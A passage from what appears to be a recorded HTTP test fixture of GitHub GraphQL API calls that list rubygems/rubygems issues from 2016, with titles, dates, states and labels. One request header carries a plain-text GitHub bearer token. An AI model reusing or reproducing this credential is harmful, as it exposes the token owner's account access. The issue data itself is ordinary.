report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0wNlQwNTowMjowMi0wNTowMM4H27lS","node":{"number":1473,"createdAt":"2016-02-06T10:02:02Z","closedAt":"2016-02-07T12:32:52Z","updatedAt":"2016-02-07T12:32:52Z","state":"CLOSED","title":"Somthing wrong with my ruby","url":"https://github.com/rubygems/rubygems/issues/1473","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0wNlQwOTowMDozMS0wNTowMM4H2/7C","node":{"number":1474,"createdAt":"2016-02-06T14:00:31Z","closedAt":"2016-02-06T17:51:52Z","updatedAt":"2016-02-06T17:51:52Z","state":"CLOSED","title":"Getting \"Reserved gem name\" when pushing, despite being an owner","url":"https://github.com/rubygems/rubygems/issues/1474","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0wOFQxMjo1MTowMy0wNTowMM4H4WmO","node":{"number":1480,"createdAt":"2016-02-08T17:51:03Z","closedAt":"2016-02-08T21:07:30Z","updatedAt":"2016-02-11T06:49:14Z","state":"CLOSED","title":"Could not find rb-inotify.gem (rubygems:rb-inotify:0.9.6)","url":"https://github.com/rubygems/rubygems/issues/1480","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0xMFQxMDowNToyNC0wNTowMM4H6TFw","node":{"number":1484,"createdAt":"2016-02-10T15:05:24Z","closedAt":"2016-02-11T06:45:15Z","updatedAt":"2016-02-16T16:35:36Z","state":"CLOSED","title":"rb-inotify-0.9.7.gem is missing in the S3 repository","url":"https://github.com/rubygems/rubygems/issues/1484","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0xMlQxNzo0MDo1NC0wNTowMM4H8u1A","node":{"number":1488,"createdAt":"2016-02-12T22:40:54Z","closedAt":"2016-02-28T06:07:45Z","updatedAt":"2016-02-28T06:07:45Z","state":"CLOSED","title":"2.5.2 broken with JRuby 1.7.22 in 2.0 mode","url":"https://github.com/rubygems/rubygems/issues/1488","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0xNlQxOTowNTowOS0wNTowMM4H/rUy","node":{"number":1492,"createdAt":"2016-02-17T00:05:09Z","closedAt":"2016-02-17T04:41:15Z","updatedAt":"2016-02-17T04:41:16Z","state":"CLOSED","title":"[question] Can I install JRuby/CRuby specific gem with add_dependency?","url":"https://github.com/rubygems/rubygems/issues/1492","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0xOVQxOTozMTowNC0wNTowMM4IDBl7","node":{"number":1501,"createdAt":"2016-02-20T00:31:04Z","closedAt":"2016-02-27T23:38:23Z","updatedAt":"2016-02-27T23:38:23Z","state":"CLOSED","title":"Set up Homu","url":"https://github.com/rubygems/rubygems/issues/1501","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yM1QwNDoyMjoyOS0wNTowMM4IFlTE","node":{"number":1503,"createdAt":"2016-02-23T09:22:29Z","closedAt":"2017-01-23T00:43:45Z","updatedAt":"2017-01-23T00:43:45Z","state":"CLOSED","title":"Code of Conduct link to project maintainers","url":"https://github.com/rubygems/rubygems/issues/1503","labels":{"nodes":[{"name":"contribution: small"},{"name":"contribution: unclaimed"},{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yM1QxMzozNzoxMi0wNTowMM4IGIOn","node":{"number":1504,"createdAt":"2016-02-23T18:37:12Z","closedAt":null,"updatedAt":"2016-07-21T17:12:18Z","state":"OPEN","title":"[question] Dependency with a gem","url":"https://github.com/rubygems/rubygems/issues/1504","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yM1QxODoyMTo1NC0wNTowMM4IGaOA","node":{"number":1505,"createdAt":"2016-02-23T23:21:54Z","closedAt":"2016-05-18T18:29:35Z","updatedAt":"2016-05-18T18:29:36Z","state":"CLOSED","title":"How do I securely release gems?","url":"https://github.com/rubygems/rubygems/issues/1505","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yNFQxNDowNDo0Mi0wNTowMM4IHZLf","node":{"number":1506,"createdAt":"2016-02-24T19:04:42Z","closedAt":null,"updatedAt":"2016-06-09T09:57:59Z","state":"OPEN","title":"We still need an alternative to yank -- how about ''hide''?","url":"https://github.com/rubygems/rubygems/issues/1506","labels":{"nodes":[{"name":"type: feature request"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:28 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yNFQxNDowNDo0Mi0wNTowMM4IHZLf\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:29 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4975' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.518875' X-Github-Request-Id: - C686:4D95:F48CFA:1C853B0:5A50E48C body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yNFQxODo0MTo1OS0wNTowMM4IHqPH","node":{"number":1507,"createdAt":"2016-02-24T23:41:59Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Requiring an .so file via Ruby will not work with RubyGems","url":"https://github.com/rubygems/rubygems/issues/1507","labels":{"nodes":[{"name":"category: #gem or #require"},{"name":"status: ready"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yNVQwNDo0OToxOS0wNTowMM4IIE1n","node":{"number":1508,"createdAt":"2016-02-25T09:49:19Z","closedAt":"2016-02-25T19:08:40Z","updatedAt":"2016-02-25T19:08:41Z","state":"CLOSED","title":"Compiling native extensions fails while clang is installed, succeeds when gcc is installed","url":"https://github.com/rubygems/rubygems/issues/1508","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yNlQwNToxNjozMS0wNTowMM4IJSxJ","node":{"number":1510,"createdAt":"2016-02-26T10:16:31Z","closedAt":"2016-02-26T23:06:46Z","updatedAt":"2016-02-26T23:06:46Z","state":"CLOSED","title":"Gems installed via --user-install missing from `gem list` in 2.6.0","url":"https://github.com/rubygems/rubygems/issues/1510","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yNlQwNTozMjo0Ny0wNTowMM4IJTpq","node":{"number":1511,"createdAt":"2016-02-26T10:32:47Z","closedAt":"2016-02-26T20:55:09Z","updatedAt":"2016-03-08T16:08:37Z","state":"CLOSED","title":"RubyGems 2.6.0 - undefined method `split'' for Array","url":"https://github.com/rubygems/rubygems/issues/1511","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yN1QxODo1OTozOC0wNTowMM4IKjY+","node":{"number":1517,"createdAt":"2016-02-27T23:59:38Z","closedAt":"2016-02-28T08:21:30Z","updatedAt":"2016-08-26T03:23:19Z","state":"CLOSED","title":"rubygems 2.6.0 Gem.path lost system path at ruby 2.3.0","url":"https://github.com/rubygems/rubygems/issues/1517","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0yOFQxMDo1NzowOS0wNTowMM4IK3Sk","node":{"number":1519,"createdAt":"2016-02-28T15:57:09Z","closedAt":"2016-02-28T16:24:31Z","updatedAt":"2016-02-28T16:24:32Z","state":"CLOSED","title":"Gem 2.6.1 release is 404","url":"https://github.com/rubygems/rubygems/issues/1519","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wMlQwNjo0ODozMS0wNTowMM4IN3Z9","node":{"number":1525,"createdAt":"2016-03-02T11:48:31Z","closedAt":"2016-03-02T16:23:14Z","updatedAt":"2016-03-02T18:07:22Z","state":"CLOSED","title":"Gems installer for Windows does not support ruby path with spaces","url":"https://github.com/rubygems/rubygems/issues/1525","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wMlQxODoyOTozOS0wNTowMM4IOhtA","node":{"number":1528,"createdAt":"2016-03-02T23:29:39Z","closedAt":"2016-03-04T15:56:06Z","updatedAt":"2016-03-04T15:56:07Z","state":"CLOSED","title":"gem update fails:","url":"https://github.com/rubygems/rubygems/issues/1528","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wM1QwNDo0ODo0MS0wNTowMM4IO7Gh","node":{"number":1530,"createdAt":"2016-03-03T09:48:41Z","closedAt":null,"updatedAt":"2018-01-05T06:43:12Z","state":"OPEN","title":"Cannot cleanup user gems","url":"https://github.com/rubygems/rubygems/issues/1530","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wM1QwODoyODowMi0wNTowMM4IPG0q","node":{"number":1531,"createdAt":"2016-03-03T13:28:02Z","closedAt":null,"updatedAt":"2016-10-15T00:55:49Z","state":"OPEN","title":"ERROR: While executing gem... (OpenSSL::X509::CertificateError) not enough data","url":"https://github.com/rubygems/rubygems/issues/1531","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wM1QwOTozNDoyOS0wNTowMM4IPKzV","node":{"number":1532,"createdAt":"2016-03-03T14:34:29Z","closedAt":"2016-04-18T12:52:17Z","updatedAt":"2016-04-18T12:52:17Z","state":"CLOSED","title":"Sources with https protocol","url":"https://github.com/rubygems/rubygems/issues/1532","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wM1QyMDo0MjoxMi0wNTowMM4IPwrG","node":{"number":1533,"createdAt":"2016-03-04T01:42:12Z","closedAt":null,"updatedAt":"2017-01-12T19:19:18Z","state":"OPEN","title":"Running update_rubygems may happen to fail on Windows","url":"https://github.com/rubygems/rubygems/issues/1533","labels":{"nodes":[{"name":"category: install"},{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wN1QxMzowMDo0NC0wNTowMM4ISbNZ","node":{"number":1535,"createdAt":"2016-03-07T18:00:44Z","closedAt":"2016-06-05T01:03:38Z","updatedAt":"2016-06-05T01:03:38Z","state":"CLOSED","title":"File::flock method breaks rubygems","url":"https://github.com/rubygems/rubygems/issues/1535","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wN1QxNjoyODoxOC0wNTowMM4ISn5u","node":{"number":1537,"createdAt":"2016-03-07T21:28:18Z","closedAt":null,"updatedAt":"2017-02-24T19:27:44Z","state":"OPEN","title":"Cygwin install places gem bins outside of $PATH environment","url":"https://github.com/rubygems/rubygems/issues/1537","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wOFQxOToxNToyNS0wNTowMM4IT5X8","node":{"number":1540,"createdAt":"2016-03-09T00:15:25Z","closedAt":"2016-03-09T15:43:14Z","updatedAt":"2016-03-09T15:45:42Z","state":"CLOSED","title":"Error building native Gems Ruby 2.2 RubyGems 2.6.1","url":"https://github.com/rubygems/rubygems/issues/1540","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0wOFQxOToyNDoyOS0wNTowMM4IT5qJ","node":{"number":1541,"createdAt":"2016-03-09T00:24:29Z","closedAt":"2016-03-10T17:48:04Z","updatedAt":"2016-03-10T17:48:06Z","state":"CLOSED","title":"RubyGems 2.5.1+ does not install \"java\" platform gems","url":"https://github.com/rubygems/rubygems/issues/1541","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0xMFQyMTo1MzoxOS0wNTowMM4IWVA4","node":{"number":1543,"createdAt":"2016-03-11T02:53:19Z","closedAt":null,"updatedAt":"2016-04-02T20:32:17Z","state":"OPEN","title":"gem uninstall gem_name --user-install not working","url":"https://github.com/rubygems/rubygems/issues/1543","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0xNFQxMzoyNToxMS0wNDowMM4IY4fb","node":{"number":1549,"createdAt":"2016-03-14T17:25:11Z","closedAt":"2016-03-14T17:28:13Z","updatedAt":"2016-03-14T17:46:31Z","state":"CLOSED","title":"Source blocks not working after upgrading rubygems","url":"https://github.com/rubygems/rubygems/issues/1549","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0xNVQwNjozNzowMS0wNDowMM4IZnve","node":{"number":1551,"createdAt":"2016-03-15T10:37:01Z","closedAt":"2016-03-30T22:53:50Z","updatedAt":"2017-10-10T20:35:40Z","state":"CLOSED","title":"\"Array values in the parameter are deprecated\" warning not enough helpful ?","url":"https://github.com/rubygems/rubygems/issues/1551","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0xOFQxMjozODo0Mi0wNDowMM4IdYEs","node":{"number":1557,"createdAt":"2016-03-18T16:38:42Z","closedAt":"2016-03-29T22:06:31Z","updatedAt":"2016-03-29T22:06:31Z","state":"CLOSED","title":"no implicit conversion of nil into String in check_executable_overwrite L186","url":"https://github.com/rubygems/rubygems/issues/1557","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0yMlQwODo1MToyMi0wNDowMM4IgISK","node":{"number":1560,"createdAt":"2016-03-22T12:51:22Z","closedAt":"2016-04-12T22:55:37Z","updatedAt":"2016-09-07T07:30:54Z","state":"CLOSED","title":"Upgrading to rubygems 2.5.x breaks future up/downgrades (''no implicit conversion of nil into String'')","url":"https://github.com/rubygems/rubygems/issues/1560","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0yM1QwNDoxNzozNC0wNDowMM4IhGC8","node":{"number":1563,"createdAt":"2016-03-23T08:17:34Z","closedAt":"2016-03-27T21:11:38Z","updatedAt":"2016-03-27T21:11:39Z","state":"CLOSED","title":"`Gem.find_spec_for_exe` is picking the oldest available versions of the gems instead of the newest ones ","url":"https://github.com/rubygems/rubygems/issues/1563","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0yM1QwOToxNjo0MS0wNDowMM4IhVc8","node":{"number":1564,"createdAt":"2016-03-23T13:16:41Z","closedAt":"2016-03-28T23:42:26Z","updatedAt":"2016-03-28T23:42:26Z","state":"CLOSED","title":"Can''t push paperclip gem","url":"https://github.com/rubygems/rubygems/issues/1564","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0yOFQyMToyMzo1Ni0wNDowMM4IlzRY","node":{"number":1568,"createdAt":"2016-03-29T01:23:56Z","closedAt":"2016-03-29T21:52:32Z","updatedAt":"2016-03-30T02:38:13Z","state":"CLOSED","title":"gem owner should display usernames when emails are hidden","url":"https://github.com/rubygems/rubygems/issues/1568","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0zMFQxNzo0OTowNy0wNDowMM4IoGQy","node":{"number":1571,"createdAt":"2016-03-30T21:49:07Z","closedAt":"2016-03-31T00:03:18Z","updatedAt":"2016-03-31T00:03:19Z","state":"CLOSED","title":"Add a new API endpoint for versioned gems","url":"https://github.com/rubygems/rubygems/issues/1571","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMy0zMVQwODoxNTo0My0wNDowMM4IoruW","node":{"number":1574,"createdAt":"2016-03-31T12:15:43Z","closedAt":"2016-04-07T08:09:43Z","updatedAt":"2016-04-07T08:09:43Z","state":"CLOSED","title":"Bug report","url":"https://github.com/rubygems/rubygems/issues/1574","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0wM1QyMjozNDozNS0wNDowMM4IrTEK","node":{"number":1577,"createdAt":"2016-04-04T02:34:35Z","closedAt":"2016-08-02T05:37:36Z","updatedAt":"2016-11-04T11:27:04Z","state":"CLOSED","title":"installing gem with symlinked binaries fails (bug in tar writer symlink handling)","url":"https://github.com/rubygems/rubygems/issues/1577","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0wN1QwMzowMDoyNC0wNDowMM4Iu9Ar","node":{"number":1579,"createdAt":"2016-04-07T07:00:24Z","closedAt":"2016-04-07T07:06:35Z","updatedAt":"2016-06-22T07:06:05Z","state":"CLOSED","title":"Cannot upgrade to Rubygems 2.6.3","url":"https://github.com/rubygems/rubygems/issues/1579","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0xMVQxMzoxNzoyOC0wNDowMM4Iypds","node":{"number":1581,"createdAt":"2016-04-11T17:17:28Z","closedAt":null,"updatedAt":"2016-04-12T22:34:49Z","state":"OPEN","title":"Specs sorting in Gem::Specification._resort!() should be stable","url":"https://github.com/rubygems/rubygems/issues/1581","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0xOVQxMzozODowMS0wNDowMM4I6aZy","node":{"number":1584,"createdAt":"2016-04-19T17:38:01Z","closedAt":null,"updatedAt":"2016-10-13T19:37:53Z","state":"OPEN","title":"RuntimeError: can''t modify frozen object","url":"https://github.com/rubygems/rubygems/issues/1584","labels":{"nodes":[{"name":"platform: java"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0xOVQxNzozNzozNC0wNDowMM4I6pU1","node":{"number":1585,"createdAt":"2016-04-19T21:37:34Z","closedAt":"2016-04-29T17:38:00Z","updatedAt":"2016-04-29T17:38:00Z","state":"CLOSED","title":"cannot find rspec in gem list","url":"https://github.com/rubygems/rubygems/issues/1585","labels":{"nodes":[{"name":"platform: osx"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0xOVQyMzo1ODozMy0wNDowMM4I64Ff","node":{"number":1586,"createdAt":"2016-04-20T03:58:33Z","closedAt":"2016-04-22T21:58:37Z","updatedAt":"2016-04-22T21:58:38Z","state":"CLOSED","title":"Investigate why the check_manifest task is failing on Appveyor","url":"https://github.com/rubygems/rubygems/issues/1586","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0yMFQwOTo0ODowMy0wNDowMM4I7VqR","node":{"number":1587,"createdAt":"2016-04-20T13:48:03Z","closedAt":"2016-04-20T13:50:11Z","updatedAt":"2016-04-20T13:50:11Z","state":"CLOSED","title":"NoMethodError when using xrcise from wx_sugar","url":"https://github.com/rubygems/rubygems/issues/1587","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0yMVQwOTozMTo0OC0wNDowMM4I8fis","node":{"number":1589,"createdAt":"2016-04-21T13:31:48Z","closedAt":"2016-08-27T15:57:25Z","updatedAt":"2016-08-27T15:57:25Z","state":"CLOSED","title":"incompatible marshal file format (format version 4.8 required; 60.33 given)","url":"https://github.com/rubygems/rubygems/issues/1589","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0yNVQwOTo1NjoxNS0wNDowMM4I/gyG","node":{"number":1597,"createdAt":"2016-04-25T13:56:15Z","closedAt":"2016-04-25T15:01:46Z","updatedAt":"2016-04-25T15:02:08Z","state":"CLOSED","title":"net/https and OpenSSL::SSL::VERIFY_PEER","url":"https://github.com/rubygems/rubygems/issues/1597","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0yNVQxNTowMDo1Mi0wNDowMM4I/1ef","node":{"number":1599,"createdAt":"2016-04-25T19:00:52Z","closedAt":"2016-05-18T18:44:03Z","updatedAt":"2017-06-27T14:48:24Z","state":"CLOSED","title":"Rubygems does not comply with XDG basedir spec","url":"https://github.com/rubygems/rubygems/issues/1599","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0yN1QyMzo0NTo1NS0wNDowMM4JCFzp","node":{"number":1602,"createdAt":"2016-04-28T03:45:55Z","closedAt":"2016-08-27T03:25:02Z","updatedAt":"2016-08-27T03:25:02Z","state":"CLOSED","title":"Gem Update won''t upgrade past 2.6.3.","url":"https://github.com/rubygems/rubygems/issues/1602","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNC0yN1QyMzo1MTo0My0wNDowMM4JCF+a","node":{"number":1603,"createdAt":"2016-04-28T03:51:43Z","closedAt":"2016-04-28T04:09:55Z","updatedAt":"2016-04-28T04:09:56Z","state":"CLOSED","title":"RubyGems 2.6.3 --no-document does not work on upgrade","url":"https://github.com/rubygems/rubygems/issues/1603","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0wNVQxNjowNzoxNi0wNDowMM4JI2MJ","node":{"number":1607,"createdAt":"2016-05-05T20:07:16Z","closedAt":null,"updatedAt":"2016-05-21T22:28:08Z","state":"OPEN","title":"Feature request: `gem sources --add` should write new source without hitting the URL first.","url":"https://github.com/rubygems/rubygems/issues/1607","labels":{"nodes":[{"name":"category: command"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0wOVQwOToxNzowMy0wNDowMM4JKme0","node":{"number":1608,"createdAt":"2016-05-09T13:17:03Z","closedAt":"2016-06-05T15:41:40Z","updatedAt":"2016-06-05T15:41:40Z","state":"CLOSED","title":"Absolute names of length 101 characters are not handled properly by Gem::Package::TarWriter","url":"https://github.com/rubygems/rubygems/issues/1608","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0wOVQxMjo1NDoyOC0wNDowMM4JKyA0","node":{"number":1609,"createdAt":"2016-05-09T16:54:28Z","closedAt":"2016-08-26T11:51:43Z","updatedAt":"2016-08-26T11:51:43Z","state":"CLOSED","title":"Gem source sorting should preserve ordering of sources supplied by the user","url":"https://github.com/rubygems/rubygems/issues/1609","labels":{"nodes":[{"name":"category: install"},{"name":"status: ready"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0wOVQxNzo0NjowMy0wNDowMM4JK/uB","node":{"number":1610,"createdAt":"2016-05-09T21:46:03Z","closedAt":"2016-06-05T03:27:01Z","updatedAt":"2016-06-15T23:01:20Z","state":"CLOSED","title":"`rake newb` doesn''t install right version of minitest","url":"https://github.com/rubygems/rubygems/issues/1610","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0xMFQxMTo0ODozNC0wNDowMM4JLnqb","node":{"number":1613,"createdAt":"2016-05-10T15:48:34Z","closedAt":"2016-08-26T21:42:53Z","updatedAt":"2016-08-26T21:42:53Z","state":"CLOSED","title":"Gem does not load sources","url":"https://github.com/rubygems/rubygems/issues/1613","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0xMlQxNDoxODo1Mi0wNDowMM4JNjcg","node":{"number":1616,"createdAt":"2016-05-12T18:18:52Z","closedAt":null,"updatedAt":"2016-11-02T20:13:47Z","state":"OPEN","title":"Perhaps to consider: new subcommands, \"gem enable\" and \"gem disable\"","url":"https://github.com/rubygems/rubygems/issues/1616","labels":{"nodes":[{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0xNlQyMzo1MjoxMy0wNDowMM4JP7ti","node":{"number":1617,"createdAt":"2016-05-17T03:52:13Z","closedAt":"2016-07-19T22:22:02Z","updatedAt":"2016-07-19T22:22:02Z","state":"CLOSED","title":"Gem::Version objects can be == with different hashes","url":"https://github.com/rubygems/rubygems/issues/1617","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0xOVQwMzo0Njo0NC0wNDowMM4JR2Nv","node":{"number":1619,"createdAt":"2016-05-19T07:46:44Z","closedAt":"2016-05-19T07:49:20Z","updatedAt":"2016-05-19T07:49:20Z","state":"CLOSED","title":"Zsh warning messages are weird (gem owner","url":"https://github.com/rubygems/rubygems/issues/1619","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yMFQxODoxMTowOC0wNDowMM4JTUqU","node":{"number":1620,"createdAt":"2016-05-20T22:11:08Z","closedAt":null,"updatedAt":"2017-09-07T02:17:22Z","state":"OPEN","title":"gem command should notify the user when it is out of date","url":"https://github.com/rubygems/rubygems/issues/1620","labels":{"nodes":[{"name":"category: command"},{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yNFQwODo1NDoyNC0wNDowMM4JU/9A","node":{"number":1622,"createdAt":"2016-05-24T12:54:24Z","closedAt":"2016-05-24T14:34:43Z","updatedAt":"2016-05-24T14:49:18Z","state":"CLOSED","title":"Just published gem, can''t install","url":"https://github.com/rubygems/rubygems/issues/1622","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yNFQxMzo0NzoyNS0wNDowMM4JVQto","node":{"number":1623,"createdAt":"2016-05-24T17:47:25Z","closedAt":null,"updatedAt":"2017-08-16T14:34:58Z","state":"OPEN","title":"Unpacking of gems with symlinks broken on windows","url":"https://github.com/rubygems/rubygems/issues/1623","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yNVQwOTo1MzoyNi0wNDowMM4JV+pZ","node":{"number":1626,"createdAt":"2016-05-25T13:53:26Z","closedAt":null,"updatedAt":"2017-01-12T16:30:19Z","state":"OPEN","title":"(ArgumentError) IPv6 address must be 16 bytes","url":"https://github.com/rubygems/rubygems/issues/1626","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yNVQxMToxMjowMC0wNDowMM4JWDag","node":{"number":1627,"createdAt":"2016-05-25T15:12:00Z","closedAt":"2017-01-24T14:52:27Z","updatedAt":"2017-01-24T22:11:27Z","state":"CLOSED","title":"bash tab completion","url":"https://github.com/rubygems/rubygems/issues/1627","labels":{"nodes":[{"name":"closed: declined"},{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yNVQxOToyNzo0NS0wNDowMM4JWa7p","node":{"number":1628,"createdAt":"2016-05-25T23:27:45Z","closedAt":"2016-11-04T02:13:15Z","updatedAt":"2016-11-04T02:13:15Z","state":"CLOSED","title":"Rake installed gem without version","url":"https://github.com/rubygems/rubygems/issues/1628","labels":{"nodes":[{"name":"status: working"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0yOVQxMDowODowNC0wNDowMM4JYYyp","node":{"number":1629,"createdAt":"2016-05-29T14:08:04Z","closedAt":null,"updatedAt":"2016-05-29T14:08:04Z","state":"OPEN","title":"Different behaviour of fetch and install with platform specific gems","url":"https://github.com/rubygems/rubygems/issues/1629","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wM1QwNToyOToyNi0wNDowMM4Jb+FZ","node":{"number":1630,"createdAt":"2016-06-03T09:29:26Z","closedAt":"2016-06-05T00:43:51Z","updatedAt":"2016-06-05T00:43:52Z","state":"CLOSED","title":":authenticate_user! login 